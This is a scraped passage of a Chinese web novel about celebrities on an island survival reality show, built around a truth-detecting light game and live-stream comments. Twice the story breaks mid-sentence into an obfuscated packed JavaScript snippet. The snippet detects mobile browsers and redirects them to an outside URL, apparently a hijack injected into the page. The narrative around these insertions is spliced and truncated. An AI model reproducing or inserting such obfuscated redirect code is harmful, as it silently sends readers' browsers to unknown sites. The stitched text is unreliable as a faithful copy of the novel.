燕南菲用力地点点头。 …… 李若水低头数着地上的蚂蚁。 一双球鞋停在她眼前。 不用抬头看,她都知道这是谁。 “走走?” 阚炆指了指远处的岸边。 李若水嗤了一声。 “走走就走走。” …… 杜小凡正在营地前发呆,忽然想起什么似地猛一下蹿起来,说:“我也要去上厕所。” 萧铭正从帐篷里钻出来,闻声告诫她说:“小凡,进树林可千万别走太深,现在是夜里,更危险了。” “好的萧哥,”杜小凡乖巧应声,又问,“你不去转转?” “我不去了,”萧铭笑了笑,又对她做出一个嘘的手势,指了指帐篷里面示意,“曹拓在睡觉,别把他吵醒了。” 杜小凡连忙噤声,往树林那边去了。 “阿铭,年纪轻轻怎么一副老干部做派?年轻人啊别太闷,”狄导起身对萧铭说,“别在这干坐着,陪我去岸边抽根烟。” 见双星晖抱臂坐在原地闭目养神,顺便把他也叫上一起:“走,双董,一起去抽根烟,谈谈电影投资的事。” 双星晖忙起身答到,三人一起朝岸边去了。 …… 李若水踢踏着石子,跟着阚炆一路走到岸边,却见岸边早已坐了一人。 陈英喆正闭眼沉醉在音乐里,见他们来了,急忙拔掉耳机起身。 “阚炆哥,若水姐,”他打完招呼,颇有眼色地疾走两步,“这位置好,幽静,你们坐,你们坐。” “我还有事,我先走了。” 说罢匆匆离去。 李若水:……这就是顶流的眼力见吗? 怪不得我混这么差! “坐吧。”阚炆脱下外套铺在地上。 李若水盯着那毫无顾忌就大剌剌摊在满是雨水的青草地上的外套,心里不知道什么滋味。 她轻轻地坐了下来。 “咦?”刚坐下来,就发现草地上遗落的白色方正物体,李若水拿起来,翻来覆去地看了一通,终于想起来了,“这是陈英喆那个CD机吧?” 雨水滴滴答答地打在CD机的面板上。 “应该是落在这儿了。”阚炆也认出来了。 李若水掀起外套的一角,准备把CD机裹在外套里,待会儿带给陈英喆。 她记得陈英喆似乎很珍爱这台CD机,万一被雨水淋湿惹了潮弄坏了,这孩子非得崩溃不可。 刚要放上去,却看到CD机背面有一行马克笔写下的字,黑色墨水已经被雨水淋得化开,模糊成一团,看不清到底是什么字了。 “出……众……出众?”李若水费力地辨认道。 “行了,别猜了。”阚炆好笑道,“失主这不是来了吗?” 抬头一看,果然,陈英喆已经气喘吁吁地朝这边跑来。 “若水姐,不好意思啊,我忘了我的CD机。”陈英喆一把将CD机夺过,抱紧在怀里。 李若水摇摇头: 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音量不由自主降低了两格:“……我要是不爱多管闲事,当初你怎么会认识我?” - 4027年,十三区玚山教会福利院。 “侦察员同志,你们看看这孩子。” 穿着黑色圣袍的院长拽着一个男孩的胳膊把他拉到众人面前,这男孩虽只有七八岁模样,长得已是剑眉星目,隐隐透出出色轮廓。 男孩低着头,满脸倔强,他衣衫破旧不堪,脸上尽是脏污,像是刚从煤炭堆里爬出来一样。 “他居然躲在我们福利院的厨房里躲了整整一周!”院长痛心疾首,“重大失职啊!” 侦察员叉着腰,没什么耐心听这些家长里短的破事:“那你们福利院就接收了呗,肯定也是来路不明的孤儿,多一双筷子的事。” “那怎么行啊!”院长跺脚,“我们福利院属教会管,每一个孩子都是上帝的孩子,每一个孩子都是经受过教堂洗礼的!不是随便哪个孩子都能进来的!” “烦死了。”侦察员皱起眉头,“那你就给他洗礼下,事真多。” “不行!”院长把男孩拼命往侦察员跟前扯,“这孩子说不定就有家有父母,我们不能收,你必须把他带回侦察所!” 男孩死死地抓住办公桌的桌面,半点不愿被移动。 “我没家!”他喊道,“也没父母!” “我是孤儿!” “我要留在福利院!” 院长被气得更惨了,嘴直打哆嗦:“你你你,你这个孩子,你知道十三区是什么地方吗?” “你看看你身上穿的衣服,脚上穿的鞋子,哪一个不是名牌?十三区一年的开销都不如你这一身值钱,你不要因为跟父母置气,就毁了自己的人生!” 院长横眉怒目,“侦察员同志,你们今天必须把这孩子带走!” 侦察员耸耸肩,把男孩横抱起来:“小孩,跟我走吧。” 男孩哇一声哭出来。 “我不走!我不走!我没骗你们!”他嚎啕大哭道,“我真的没家没父母,你们把我送回去,我会死的!” 他双眼通红,眼泪源源不绝地流出眼眶,如幼小的困兽般在侦察员怀里绝望挣扎。 院长和侦察员面面相觑。 “砰”一声,门被推开了。 “院长爸爸,您就收下他吧!”一个穿灰布衣服的小女孩气势汹汹地闯进来,声音嘹亮道,“他真的是孤儿!” 小女孩一头潦草短发,年纪虽小,但昂首挺胸,气势逼人,像只骄傲的大公鸡。 侦察员:“这是谁?” 院长:“……” 随即勃然大怒道:“李若水!给我滚回去!” “怎么哪儿都有你的事?这是你弟弟还是你儿子?你又知道了?给我滚!” 李若水镇定道:“我当然知道了!” “因为他就是我放进来的!”女孩一脸骄傲,“我藏在厨房煤灰里的!” 院长:“……” 侦察员:“……” “李若水!!!” “你看我不打死你!!!!” 吼声响彻整个福利院。 19. 中场休息 “你怎么就敢把我藏进福利院?” 阚炆一只手搭在膝盖上,温柔地看着李若水,摇了摇头,“胆子太大了。” 李若水回忆:“你当时很可怜啊,一看就是被绑架逃命的,拼命敲福利院的门,我感觉我不救你,你就要死了。” …… “这什么?” 院长诧异地看了眼递交到鼻子下的一张纸,歪歪扭扭地写着“情愿书”三个字,上面按满了红色手印。 “情愿书。” 女孩握了握拳,大声道:“我们全体人员,请求您留下那个男生。” 院长从鼻子里哼了声。 “是请不是情,”他把纸轻飘飘丢到桌面上,“教会文化课白上了是吧,都八岁了,错别字一堆。” “我可告诉你,李若水,”院长告诫道,“我留他可以,毕竟他现在什么也不愿意说,也不愿意回侦察所,去也没地方去……但是他不是你们的伙伴,懂吗?” “啥意思?”李若水问。 “意思就是他早晚要走,他跟你不一样……” 话说到一半,看到李若水像猫一样圆圆又懵懂的眸子,涌起莫名的烦躁。 “算了,说了你也听不懂,你就是个草莽。”院长挥挥手,“滚滚滚,别来烦我。” 女孩转身便走。 “等等,”院长忽然想起一件事,“按手印的印泥哪儿来的?” 李若水嘿嘿一笑,伸出一根手指,指了指办公桌的抽屉,便已一溜烟窜出门外。 院长打开抽屉,里面赫然放着一只口红。拧开,膏体切面上已经布满指纹,乱七八槽,惨不忍睹。 院长瞪大眼睛。 这是他买给相亲对象的礼物!!! “李若水!!!” …… 一行鸟被惊飞,从枝头飞进夜色。 小雨淅淅沥沥落在树林里。 卜思雨大汗淋漓地靠在男人肩头喘气,虽然又湿又冷,但是在此时这种情境下倒也别有一番滋味。 她依赖地把脸贴在对方肩膀上,问道:“现在积分票是李若水第一了,她权重比最大,到时候分到钱最多,我们怎么办?” 男人想了想,说:“不能把希望寄托在争取口碑反转和粉丝投票上,你也是艺人,很清楚粉丝的爱说变就变,非常弱小,必须化被动为主动。” “怎么化被动为主动?”卜思雨在男人怀里蹭来蹭去,撒娇问道。 “干掉她。”男人说。 卜思雨不蹭了。 她直起身,像是不认识对方般上下打量,发觉男人神色认真后,惊愕道:“干掉她?什么意思?不会是我想的那个意思吧?” 男人沉默着不说话。但此时沉默已经表明了含义。 “你疯了吧你?”卜思雨瞪圆眼睛,把滑落到大臂的衣领扯回原位,“一个综艺而已,不至于吧?” “再说了,干掉了李若水,还有裴婉命,还有陈英喆,这之后才轮得到你我,而且,摄像球还开着,全球观众看着,众目睽睽之下,你怎么弄?” 过了半晌,男人说:“这你不用管了,他们我都会解决的,你只需要配合我就行。” 卜思雨只当他在开玩笑,整理好衣服和头发,又帮男人理了理衣领,看了眼树林外。 “他俩怎么搞一起去了?”她惊讶道。 男人也瞧过来,隔着茂密的树林,看见身穿白裙的余嘉荧和司理群正在荒地上并肩散步,不知道聊着什么。 “男男女女,谁搞一起都正常。”他轻蔑地说,“人,本来就是动物。” “好了,别胡说八道了,我先出去,你待会儿再出去。”卜思雨踏过林间的泥泞朝前走去。 没走出两步,男人低沉的声音在背后响起。 “你别把我的话当耳旁风,”他说,“到时候,你必须得帮我,这么大个荒岛,没了我,你以为你走得出去?” 明明刚刚两人还缠绵不已,不知为何,卜思雨背后忽然爬上一片凉意。 …… 裴婉命和燕南菲结伴上厕所回来,边把头缩在衣领里,边搓手取暖,深夜来临,岛上的温度骤降,又逢细雨,牙齿都开始咯吱咯吱地打寒颤。 “这天真是越来越冷了。”裴婉命说,“不对,不是这天冷,是这岛太冷了。” 走到营地,正遇上从帐篷里钻出来的曹拓。 “哎呀,你睡好了?”裴婉命很是惊喜,“快到这树下避一避,这雨是越来越大了,你看你衣服都湿了。” 曹拓听话地任由她拉着坐到树下。裴婉命从自己女儿生病后,也同情上所有身体不健全的人,见他年纪不大,发丝下的一张脸标致又清秀,心里怜悯更多。 “你哥哥也真是,拉你来荒岛做什么?”裴婉命用树叶细细地给曹拓吸干衣领上的水珠,“你还小,不懂,电影和现实不一样,你这个年纪,就应该在大学校园里好好读书,不应该追求什么刺激。” “再说……”她的手指轻轻拂过那只装了义眼的眼皮,一触即分,“眼睛不好,又不会说话,在岛上,生活能方便吗?” 曹拓静静地看着她。 “要是有什么需要帮助的,就跟我说,啊。”裴婉命把树叶放在一边的平地上。 蒙蒙细雨连成一线,像罩子一样把整座荒岛笼罩起来。 “萧老还好吧?”狄马凝视着雨幕,对萧铭问道。 萧铭笑了笑:“劳您惦记,他挺好的。” 狄马叹了口气:“中风的后遗症可不好受啊,看他瘫在床上,话都说不清楚的样子,我心里真难受……我这段时间都在周游亚特林和马维角,就是希望看看能不能有更好的治疗办法。” 萧铭长长睫毛下的眼闪过些许泪光,感谢道:“狄导,有您的这份心,祖父即使说不出话,也会很感动的。” 狄马摆手:“说这些干什么,你记不记得,我拍《蝴蝶不飞花》那一年,资金链断供,要不是萧老筹钱帮我凑齐了费用,我早就破产退出娱乐圈了,哪还有现在的我?” 网友们如同吃到从未听过的瓜一样感慨着。 [原来这两个人还有交集啊!] [傻了吧,萧老对狄导恩重如山,狄导就像老萧的亲叔叔一样,你担求之不得的人脉,不过是见我哥哥的门槛。] [楼上能不能别得瑟,天龙人怎么还了不起了?] [都说萧铭是顺风顺水命,我看他是关系户命吧?怪不得那么早就拿到影帝,这里面水分大了去了。] [放屁!萧老是文化界的人,和娱乐圈有什么关系?哥哥有现在的一切完全是靠他自己的努力!] 粉丝和路人七嘴八舌地吵起来。 李若水坐在岸边,向四面八方看过去,所有人都变得很小,又很模糊,除了雨声不见其他声音,只有走来走去或聊天说笑的动作,像一出默片。 “你……”李若水发出一个音节,却欲言又止。 “嗯,怎么了?” “没事。”李若水还是没问出那个问题。 她很想问问阚炆,你头上那个半绿不红的灯是怎么回事?你有什么心事吗?这么多年,你脱离了十三区,到了富贵的家庭,过得原来并不快乐吗? 但是……她又有什么资格问呢? “没事,回去吧。”她起身对阚炆说。 阚炆沉默了一下,把外套展开披在头上,宽敞的外套在他头上形成了一个可以遮风避雨的狭小空间。 “来,”阚炆朝她招手,“进来,外面雨大。” 李若水钻进了外套,嗅到了雨水混合着青草味的温暖气息,这味道既陌生又熟悉。 在急促的呼吸声中,两人穿过雨,穿过风,穿过烂兮兮的荒岛,在雨幕中一起跑回了营地。 不多时,众人都回来了。 陈英喆把所剩无几的几张牌理了一下,说:“怎么着,各位前辈,还玩吗?” 自积分排名公布后,裴婉命一直心情不错,此刻挂着笑说:“玩吧,玩吧,有始有终嘛。” 狄马也说:“玩游戏也要守原则,说了玩那就得玩到最后。” 没人反对。 于是游戏继续。 …… 第六张牌:你认为自己是个好人吗? 全员举手,一眼扫过去又是如大红灯笼高高挂满营地的红灯。 李若水长叹一口气,伸手捂住眼睛:……我这是在大马路上吗? 咦,倒也有几个绿灯?她定睛一看,原来是贾高逸。 贾高逸高举着手,头上亮着硕大一个荧绿色灯泡,脸上那标志性的和蔼笑容,此时在雨水的浇泼下岿然不动。 不愧是贾老师!老艺术家果然不一样!李若水感慨道。 再往左扫过去,裴婉命明亮的眼眸里也倒映着绿色光线,她气质极为英气逼人,偏又掺杂些柔婉和善良,让人忍不住想要靠近。 李若水愿意相信她真的是个好人。 视线转到最后一盏绿灯,男人高举手臂,脸上的笑容翩翩如玉。 我去你爹的!李若水在心里呸了一声。 死变态! …… 第七张牌:在场之间有对你来说非常重要的人吗?后面一行括号标注“(注:强烈的情感绑定)”。 阚炆第一个举起了手。紧接着,陈英喆、双星晖、狄马、萧铭也都举起了手。 实时弹幕炸开了花。 [啊啊啊我不相信!我崽!崽崽怎么会举手!] [楼上家人别慌,这里有投资商和导演,还有崽崽共事过的人,不一定是男女之爱的。] [看我儿离卜思雨那么远,一副没开窍的样子,他不会谈恋爱的,小喆心里只有事业。] [呼呼,姐妹你说得对,我去喝口水冷静一下。] [老阚第一个举手,真的是没救了,这个老公我是不要了,谁能接收一下?] [对不起亲,饭圈不接受无药可救的恋爱脑呢。] …… 卜思雨也慢慢地举起了手。最后举起手的是司理群和余嘉荧。 贾高逸、裴婉命、杜小凡纷纷放下了手,卜思雨四处看看,不知想到了什么,犹豫了一下,把高举的手放了下去。 “哎?”杜小凡眼尖地发现了她的动作,“思雨姐,举起的手就不能放下了哦,不然游戏规则还有什么意义?” “思雨,你要举就举,别一会举,一会不举的。做人要果断。”贾高逸开玩笑说。 “对啊,思雨,举回去嘛!” 在起哄声中,卜思雨咬着唇把手举了回去。 裴婉命笑眯眯地托腮:“依我看呢,这张牌完全不是给我们这些老年人玩的,是给我们看热闹用的。” 李若水无语地避开了她的视线,她何尝不知道现在弹幕的火力都集中在自己的三角恋绯闻旧事上? 是她想接受炮火吗?她倒是想转移战壕,问题是根本没得转移啊! 目光扫向对面的陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【对不起啊家人们,最近在查几个案子,忙得要死,实在没时间看直播,好在没错过太多进度。】 【葱绿大佬是公务员?在查什么案子?刑事案还是经济案?能透露下吗?】 【对不起,恕不透露。】 葱绿色弹幕客气地说。 【啊啊啊大佬别听那些有的没的,再说说一区三少吧,想听!现在霍拉区区平等,都没有这么龙傲天的称号了,上世纪的人都好有意思啊!】 【一区三少,指的不是具体的人,而是指上世纪帝国第一区,把握了第一区90%经济命脉的三大富豪家族:兰家、双家和秦家的继承人。他们这三家是大鱼,剩下的公司全是小鱼小虾,跟在他们后头捡鱼饵吃。】 【无论这三家继承人是谁,素质如何,都会被称为一区三少。只是到10年代左右,因为这三家这一代的继承人无论是智力、外貌还是行事手腕都格外出众,并且开始强强联手、商业互作,这个名号才开始火遍帝国网。】 【那就是指的双星晖的父亲那一代喽?看双星晖这样子,他爸也丑不到哪去。】 【是的。双星晖这一代延续了他爸的各种出色素质,当年在帝国网上也是小火过一阵的。】 【那还有两家的继承人是谁?】 弹幕急吼吼问道。 【一个是兰家,就是这档荒野求生节目的投资商,兰斯娱乐,兰斯娱乐的继承人小兰董名叫兰齐,已经去世了,死因不明。现在兰斯娱乐仍由老兰董在把持。】 【好可怜啊,白发人送黑发人,那么大的家业就葬送了。】 【那还有一家呢?】 【秦家吗?秦家在20年代就覆灭了,被兰家给吞并了,所以一区三少只是个虚晃的名头,现在早已不存在了。】 【原来如此……】 【好可惜啊……】 【为什么我在古帝国网上一点都查不到这些事迹,葱绿大佬到底怎么知道的?】 【……】 没有回答,弹幕重新归于寂静。 李若水津津有味地看着这些传闻,别说,她当年跟双星晖是短暂地谈过一段,但是当时根本不知道所谓的什么“一区三少”这些奇闻轶事,满脑子都是拍戏拍戏拍戏,赚钱赚钱赚钱。 现在看看这些,觉得挺有意思的。 “那我问小凡吧。”司理群依言换了个人问,“小凡,对你来说最重要的人是谁?” 杜小凡想了想,低声说:“是我的父母。” 实时弹幕纷纷吐槽。 [我倒,浪费一个提问名额。] [杜小凡真没劲,说这些官方回答,有什么意思?] [小凡怎么了?本来就是孝顺父母的小女孩,说真心话有错吗?你们就是看热闹不嫌事大!] [看看,就是因为你们这些无脑护主的蝗虫粉,导致现在帝国娱乐圈都没活人了,艺人都懒得说真话,背稿就行了,反正说什么都有你们冲锋陷阵。] [楼上,你们是嫉妒杜小凡吧?嫉妒人家家境好又长得漂亮,招人喜欢就算了,父母还是帝国大科学家,不好意思,这种命格万里挑一,你们怎么羡慕也羡慕不来的。] [我羡慕个屁,大科学家有什么了不起啊?大科学家的女儿还不是进娱乐圈捞钱?] [楼上的酸味臭得我快吐了。] 雨势渐大,十几个绿灯的强光像探照灯一样,穿透雨幕,直直射进李若水的心扉,也令她困惑不已。 ……这个问题,全员实话? 20. 雨势渐大 “我说,小凡没举手我能理解,”大概是觉得弹幕的讨论太令人难堪了,贾高逸插话说,“但你们诸位……怎么回事?重要的人都在场上?我可不信。” 这一问堪称一石激起千层浪,立刻激发了网友们的好奇。 [阚炆重要的人应该指的是李若水,李若水指的不是双星晖就是阚炆,双星晖指的不是李若水就是曹拓,萧铭指的是狄导吧,狄导指的应该是萧铭,燕博士指的应该是裴姐,她真的很喜欢裴姐啊……] [裴姐重要的人应该是佳明,佳明不在场所以她没举手;杜小凡爸妈也不在场,所以她也没举手;贾老师爱人去世很久了,重要的人应该指的是他儿子贾兵吧?不举手也是对得上的。] 很快有逻辑清楚的网友对众人的选择进行逐一解释。 [楼上大神说得八九不离十,但我奇怪的是……陈英喆、卜思雨、余嘉荧和司导指的重要的人又是谁?实在想不通。] [我好像猜到了,陈英喆是不是和余嘉荧在地下恋?这样就能解释得通了!] [我去你爹的,把你的蛆嘴闭上!余嘉荧比小喆大了五六岁都不止,你说他俩在恋爱?你还不如说陈英喆和我在恋爱。] [陈英喆和余嘉荧从一开场就没什么交集啊,应该是和卜思雨吧?两个人都并排坐一起了。] [楼上要不再仔细看看呢,我崽恨不得一个窜天猴窜天上的样子,像是在和她谈恋爱吗?] [司导是不是和余嘉荧双向举手?刚刚司导和余嘉荧一起散步了,发展出恋情也不是不可能。] [你们脑子里除了恋爱能不能有点别的?万一不是男女之间的那个重要呢?] …… 雨没有要停的意思,游戏也仍在持续。 第八张牌:你有对谁感到歉疚吗?后面一行括号标注“(注:极度)”。 贾高逸、双星晖、萧铭、卜思雨的手放在膝上纹丝不动。 陈英喆歪着头坐在夜色里,没有举手。杜小凡低头赏玩着彩绘的美甲,燕南菲托腮望着篝火,不知在想些什么。余嘉荧、司理群也没有举手。 狄马、裴婉命、阚炆又直直地举起了手,竖在雨幕中。 半数红,半数绿。李若水眼角瞥向树下那只低低举起的手和沉默的绿灯,搞什么?曹拓怎么也举手了?不是说不参与游戏了吗? 不过也好,他有动作的话,就能对他多一些了解……虽然很难辨别这些人撒谎的目的是什么……李若水心神不宁地想着。 是因为公众人物不想破坏在国民心目中的形象,还是为了遮掩什么? [阚炆现在举手的答案我都不用猜了,直接默认是李若水。] [老阚家里又有钱又幸福,确实不太可能是家人……算了随便吧。] [裴姐也是啊,都不用猜,每一个答案都是佳明,绝对的。] [狄导也会对谁感到愧疚吗?] [楼上,狄导在全球打拼这么多年,投资商、老师、老同学……总有心怀歉疚的前辈吧。] [只有我注意到我崽没举手?崽崽就是无忧无虑的快乐小狗,心事存不过第二天!] [大部分人都没有举手吧?哪有那么多对不起的人?而且还是极度对不起,这得多对不起对方啊!] 随机提问数字:14号。 “谁是14号?” 余嘉荧淡淡开口:“我是。” 从上船开始,她就没怎么说过话,此时乍一开口,声音犹如泉水叮当落玉石,听得人心头一凉,说不出的清冽。 “嘉荧姐,你想问谁?”陈英喆弱弱地问。 余嘉荧没有指向任何人,反而是直直望向了陈英喆。 过了五秒钟,陈英喆才明白过来她的意思:“你想问我?” 余嘉荧微微点头。 “好吧,问吧问吧。”陈英喆咧嘴一笑,“我诚实回答,绝不撒谎。” 余嘉荧似乎连思考都没有,干脆利索地问:“上一个问题,对你来说非常重要的人是谁? 她又补了一句:“不能说谎,必须说真实答案,摸着你自己的心说。” 这问题一出口,在场众人全都愣住了。 陈英喆眼睛瞪得大大的,似乎也没想到她会问出这个问题。 弹幕已经开始疯狂地刷新。 [我就说他俩地下恋吧?这问题的指向性太强了!] [摸着你自己的心说……这句话好傲娇啊我沉醉了。] [我靠我靠我靠,余嘉荧这是要打明牌吗?弟弟你到底指的是不是我?要是的话咱俩就向全球观众公开?] [我是亚特林人,不太懂霍拉的咖位,谁能告诉我这两要是谈了相当于什么?] [相当于顶流爱豆和国民初恋谈恋爱,一个掌握娱乐市场女粉,一个掌握娱乐市场男粉,懂了吗?] [懂了懂了,溜走。] 在网络和岛上一片吃瓜的热闹氛围中,陈英喆艰难地开口了。 “我最重要的人,是……”他似乎很不愿说出口,“是我的队友。” [啊啊啊啊啊我就知道!我们intothree永远的团魂!团魂永在!] [这下看谁还敢说不和传闻,荒岛上我第一个想到的仍是你,多么真挚的队友爱啊!] [团粉真的哭死好吗,我现在就去买啤酒!今晚大哭一场!] [不对啊各位,只有我在意吗,陈英喆明明是举手了啊,那他队友也不在现场啊!] [是的只有你在意也许他说的是队魂同在呢呜呜呜呜] 粉丝哭成一团,也没人在意答案的真假和细节了。 未来弹幕则不干了。 【啊啊啊啊没劲没劲没劲!】 【我还以为就咱们这个世纪没活人,怎么上世纪明星也一样无趣啊,这不就是官方标准答案吗?】 【他是不是逃避这个女的,不想公开恋情啊?】 李若水对未来网友的八卦程度表示非常无语。 她倒不觉得陈英喆是想逃避恋情什么的,因为人家头上明晃晃一个绿灯,仿佛在昭告天下:我说的是真话! 顶流男德,确实钦佩! 即使被飞过来的摄像球怼着拍,余嘉荧那张清冷貌美的脸上表情管理依旧相当完美,没有流露出一丝一毫失态,仅仅是若有所思地点了点头。 “好的,我知道了。”她说。 [啊啊啊姐姐不要失望,也许下岛后就会得到答复的。] [楼上别造谣了,普通的一个问题,看你们捕风捉影成什么样了?抱走我家小荧!] [我们家只是兢兢业业十八线小演员罢了,配不上你家爱炒作钻营的哥哥哈,慢走不送。] 两家粉丝顿时吵成一团。 …… 不知不觉中,雨越下越大,颇有不淹没荒岛誓不罢休的意思。 第九张牌翻转。 红色大字:你有撒过非常重大的谎吗?后面一行括号标注“(注:造成严重后果)”。 又是全员不举手的一道题。 只是李若水抬眼望去,举目尽是红灯。她又扫视过其余十三人,或观赏雨幕,或凝望篝火,就是没有一个表情坦荡的。 她心底忽然一沉,继而又暗自苦笑。 就连自己……不也是?又凭什么揣测他人的隐私秘密? 从地上的蚂蚁到云端的鸿雁,在非常人所能窥探的圈子里打拼,走过小半生,富贵迷人,身不由己,是人是鬼,谁能说得清?谁能坦荡荡? “咳,”狄马干咳两声,“谁来问问题?” 他瞅了眼牌面上的数字:“6号,6号是谁?” “是我。”裴婉命温婉地说,声音漂浮在黑夜里,有种安抚人心的力量,“我就问……我问南菲吧。” 燕南菲怔怔地抬起头。 “南菲,”裴婉命柔和地瞧着她,“你有没有什么想对你妈妈说的话?” 李若水了然,裴婉命应该是察觉到燕南菲对遗弃自己的母亲仍有思念与感情,因此提出这个问题,想让燕南菲在全球观众面前对母亲喊话吧。 摄像球也仿佛知道什么是爆点一般,嗡嗡地飞近了燕南菲的脸庞。 燕南菲愣了足足五分钟,直到网友都察觉出不对劲。 [我怎么看她这样子,不像是正常家庭啊。] [感觉她和她妈有仇,而且还是深仇大恨,解不开的那种。] [楼上,别胡说,我觉得她这更像是一种近乡情怯的表情,是有完美主义怕让妈妈失望吧?] “我妈,”燕南菲清了清嗓子说,她的声音已经开始颤抖,“我妈是个伟大的母亲,伟大到丢下六岁的女儿不管,伟大到只想着自己的人生远走高飞。” [aaaaaaaa对不起我刚刚太震惊了以至于按了一串英文] [不怪你因为我也很震惊,所以她妈妈是私奔了吗?]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460281|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [你们看她的表情,我感觉她要流泪了。] “所以,我希望你,过好你自己的人生。”燕南菲一字一句地说,“别再回来找我,别回来,永远别回来,我永远不会认你。” 在全球观众的瞩目下,焦距越拉越近的摄影屏幕上,那两只眼睛缓缓地流下了两行泪水。 一片死寂,雨声越来越急促,犹如冰雹一般打在身后树林的叶子上,像越来越强烈的心跳声。 离双生岛不远的亚特林王国里,与国界线接壤的马维角自治城的某一户人家。 戴着头巾的妇女呆呆地看着电视屏幕,良久,良久,捂住嘴失声痛哭起来。 - [我真的为燕南菲哭死,虽然她只是个素人,但是谁能相信,那一刻素人的情绪真情实感地打动了我,我跟着一起哭了。] [燕南菲恨她妈也情有可原吧?从小就抛弃自己的人,谁能不恨?] [这个妈确实该死啊,女儿六岁就丢下她跑了,怎么狠得下这个心啊?我看着我牙牙学语的女儿,实在不敢想居然有亲妈下的了这个手。] [人和人之间毕竟还是不一样的吧?] [那倒也是,燕南菲真可怜啊,就这样还考上皇家大学了,吾辈楷模!] …… 裴婉命显然没想到自己无心的一个问题会造成这样的结果,顿时表情极为愧疚地望着燕南菲,眼眶也红了起来。 燕南菲抹着眼泪,低头不去看她的视线。 陈英喆赶忙翻转第十张牌,以期转移大家的注意力。 “哇,各位前辈快看看,这是灵魂拷问了啊!”他一声惊呼,成功吸引了所有人的视线聚焦于牌面上的红色字体。 第十张牌:你刚才回答的所有问题有谎言吗? 贾高逸乐笑了:“这不是明知故问吗?谁会打自己脸呀。” 说罢便高高地举起了手。 李若水看着他头上的绿灯,默默点了点头。 一路通行,德艺双馨!贾老师,做您的事业粉该有多幸福啊! 其余人也或快或慢地举起了手。 举目望去,红灯一片。 李若水恨不得闭上眼:我不应该在岛里,我应该在海底! “5号,5号是谁……思雨?” 卜思雨两指之间捏着一球,球心数字对外,正是黑色的数字5。 “我问萧哥吧。”卜思雨笑着指向萧铭。 萧铭礼貌颌首:“你问。” “萧哥,从我入行那天起,你就是遥不可及的月亮和偶像……我好像从没有见到过你发火或者失态,没见过你流露出一点阴暗情绪,你永远都是那么得体,那么妥帖。” “演技上你也是那么出色,每一部剧本都能挑到大爆剧,我从没见过这么完美的人。” 在她的一通夸赞下,网友有点不耐烦了。 [不是,卜思雨这是在干嘛呢,现场表白萧铭?] [拉关系也得看场合,拍马屁不是这么拍的。] [我哥哥就是这么完美!] …… 萧铭掀了掀眼皮,眼神无动于衷,这样的吹捧和夸赞,他已经听过成千上万遍,闭着眼睛他也知道对面这个小明星接下来要说什么话。 不就是问问有没有让他感到挫折和压力的事吗?让观众看到他的脆弱与挣扎,在完美之中找出一个相对有瑕疵的完美,这才是娱乐圈的造神之道。 太拎不清了……为什么要在这个场合讨好他?他的睫毛颤了颤,心底涌上一丝不耐烦。 “但是,”果然,卜思雨话锋一转。 “现在属于您的时代好像有点落幕了,”卜思雨语气不变,嘴里吐出的却是犀利刻薄的话,“现在业内都说,您的青羊奖只是依赖家世,加上一点好运气,遇上了好作品,才得到如今的成就。而阚炆一步一个脚印扎扎实实,他的提名才是实至名归。” 弹幕消失了。 营地的声音也消失了。 似乎,大家都被卜思雨不要命的打法给惊呆了。 “一些影视评论博主说,阚炆是天生的体验派天才,天赋与实力兼具的好演员,这种好演员,二十年也出不了一个,阚炆一个人就能替代同类型所有演员,完全抹杀了您的光环和荣耀。” 卜思雨仍在继续说。 “您这种运气型选手,对阚炆这种天赋型选手,是怎么评价的呢?” 她莞尔一笑。 21. 谁是输家 萧铭的脸色,在越来越大的雨声中,渐渐地变了。 雨水溅到卜思雨的脸上,带着泥土的腥臊气息,她深深地嗅了一口潮湿的空气,心底对现在所造成的效果非常满意。 别人不知道,她却再清楚不过,萧铭对阚炆并不如表面所显示出的那样不在意。 本来,她没必要和萧铭交恶,可是谁让李若水拿到了积分票第一呢?要想拿到五千万里的大头,她就必须解决掉李若水,而阚炆,就是李若水身边的头号门神。不除掉阚炆,李若水身边就永远有人为她保驾护航。 倘若不知道萧铭的心思也就算了,既然知道,手边有这么好的一把刀,为什么不用?不动声色激发人的恶意,是她作为大青衣最擅长用的手段。 所有人都在等待萧铭的回答。 而萧铭也不负众望,缓缓地开了口。 “思雨说得挺好,”他收敛神色,温和道,“也让我深刻反省,没有人能永远占据市场,我比不上小阚的天赋,还需要继续磨练。小阚天赋高,演艺界有小阚这样的演员,是我们所有人的幸运。” “至于外界评价提到的运气一说,我不否认。”萧铭清俊的脸上微微一笑,“在座都是艺人,谁心里不明白,在娱乐圈打拼,谁能不靠几分运气?” 他把脸转向篝火旁的杜小凡。 “比如小凡,如果她不是幸运地被王良奥导演选中,成为了《达摩诀》的女主,她现在依然岌岌无名,更不可能被邀请来这档综艺……她现在刚年满17,却跟各位前辈坐在一起,星途璀璨,谁能说运气不是实力的一种?” 飘飘的雨丝里,杜小凡依旧穿着那件鹅黄色短袖和短裙,她的瞳孔极黑极亮,却更显得脸色无比苍白,瘦弱的手臂环绕着膝盖,仿佛一根风一吹就摇摇欲坠的竹竿。 “如果小阚有一天取代了我的位置,那也只是市场和大众的选择,我绝不会对小阚有任何负面情绪。” 说罢,他双手合十,举到眉心缓缓地拜了一拜,以示谦卑。手腕上戴着的佛珠被雨水浸湿,黑得发亮。 [我哥哥就是这么好的一个人呜呜呜] [萧哥也太完美了吧!太喜欢萧哥了。] [不愧是演艺圈的常青树,人品有口皆碑。] 网友们纷纷盛赞。 卜思雨勾唇看着萧铭,虽然萧铭神色如常,可她就是有十足的把握,萧铭绝不像面上这么平静,心里恐怕已经翻江倒海了。 恶意的种子已经种下,只看其在雨水浇淋下,何时生根发芽了。 “嘀——嘀——嘀——” 萧铭头上的红灯发出刺耳的提示声。 